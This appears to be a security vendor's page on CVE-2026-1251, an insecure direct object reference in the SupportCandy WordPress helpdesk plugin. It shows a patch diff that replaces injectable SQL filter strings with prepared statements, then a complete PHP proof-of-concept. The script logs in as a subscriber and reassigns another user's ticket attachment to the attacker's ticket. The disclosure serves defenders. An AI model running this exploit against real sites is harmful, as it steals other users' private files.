+						"CONVERT({$column} USING utf8) {$operator} ({$placeholders})",
+						$values
+					);

 				case 'LIKE':
-					$arr = array();
-					$val = explode( PHP_EOL, $val );
-					foreach ( $val as $term ) {
-						$term  = str_replace( '*', '%', trim( $term ) );
-						$arr[] = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) LIKE '%' . esc_sql( $term ) . '%'';
+					if ( ! is_string( $val ) ) {
+						return '1=0';
 					}
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;
+
+					$terms = array_filter(
+						array_map( 'trim', explode( PHP_EOL, $val ) )
+					);
+
+					$likes = array();
+					$args  = array();
+
+					foreach ( $terms as $term ) {
+
+						$term = str_replace( '*', '%', $term );
+						$term = $wpdb->esc_like( $term );
+
+						if ( $term === '' ) {
+							continue;
+						}
+
+						$likes[] = "CONVERT({$column} USING utf8) LIKE %s";
+						$args[]  = '%' . $term . '%';
+					}
+
+					if ( empty( $likes ) ) {
+						return '1=0';
+					}
+
+					return $wpdb->prepare(
+						'(' . implode( ' OR ', $likes ) . ')',
+						$args
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-time.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-time.php
@@ -1300,47 +1300,71 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
+
+			// Operators that expect a single time value.
+			if ( in_array( $compare, array( '=', '<', '>', '<=', '>=' ), true ) ) {
+				if ( ! WPSC_Functions::is_valid_time( $val ) ) {
+					return '1=0';
+				}
+			}

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val ) . '' AND '' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} BETWEEN %s AND %s",
+						$val,
+						$val
+					);

 				case '<':
-					$str = self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . '' AND ' . self::get_sql_slug( $cf ) . ' !=""';
-					break;
+					return $wpdb->prepare(
+						"({$column} < %s AND {$column} != '')",
+						$val
+					);

 				case '>':
-					$str = self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} > %s",
+						$val
+					);

 				case '<=':
-					$arr = array(
-						self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val ) . '' AND '' . esc_sql( $val ) . ''',
+					return $wpdb->prepare(
+						"(({$column} <= %s OR {$column} BETWEEN %s AND %s) AND {$column} != '')",
+						$val,
+						$val,
+						$val
 					);
-					$str = '((' . implode( ' OR ', $arr ) . ') AND ' . self::get_sql_slug( $cf ) . ' != "")';
-					break;

 				case '>=':
-					$arr = array(
-						self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val ) . '' AND '' . esc_sql( $val ) . ''',
+					return $wpdb->prepare(
+						"({$column} >= %s OR {$column} BETWEEN %s AND %s)",
+						$val,
+						$val,
+						$val
 					);
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;

 				case 'BETWEEN':
-					$str = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val['operand_val_1'] ) . '' AND '' . esc_sql( $val['operand_val_2'] ) . ''';
-					break;
+					if (
+						! is_array( $val ) ||
+						! WPSC_Functions::is_valid_time( $val['operand_val_1'] ?? '' ) ||
+						! WPSC_Functions::is_valid_time( $val['operand_val_2'] ?? '' )
+					) {
+					

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1251 - SupportCandy – Helpdesk & Customer Support Ticket System <= 3.4.4 - Authenticated (Subscriber+) Insecure Direct Object Reference

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';
$target_attachment_id = 123; // ID of attachment to steal
$attacker_ticket_id = 456; // Ticket where attachment will be moved

// Initialize session and cookies
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1251');
$ch = curl_init();

// Step 1: Authenticate to WordPress
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);

$response = curl_exec($ch);

// Step 2: Extract nonce from ticket page (required for AJAX request)
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin.php?page=wpsc-tickets&section=ticket-list&id=' . $attacker_ticket_id,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$ticket_page = curl_exec($ch);

// Extract nonce from page (simplified - real implementation would parse HTML)
// This assumes the nonce is in a meta tag or JavaScript variable
preg_match('/"wpsc_nonce":"([a-f0-9]+)"/', $ticket_page, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Exploit the IDOR vulnerability
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'wpsc_add_reply',
        'ticket_id' => $attacker_ticket_id,
        'reply_body' => 'This reply steals an attachment',
        'description_attachments[]' => $target_attachment_id, // Vulnerable parameter
        '_ajax_nonce' => $nonce,
        'wpsc_nonce' => $nonce
    ])
]);

$ajax_response = curl_exec($ch);

// Check if exploitation succeeded
if (strpos($ajax_response, 'success') !== false) {
    echo "Exploitation successful. Attachment ID $target_attachment_id has been reassigned to ticket $attacker_ticket_id.n";
} else {
    echo "Exploitation failed. Response: $ajax_responsen";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School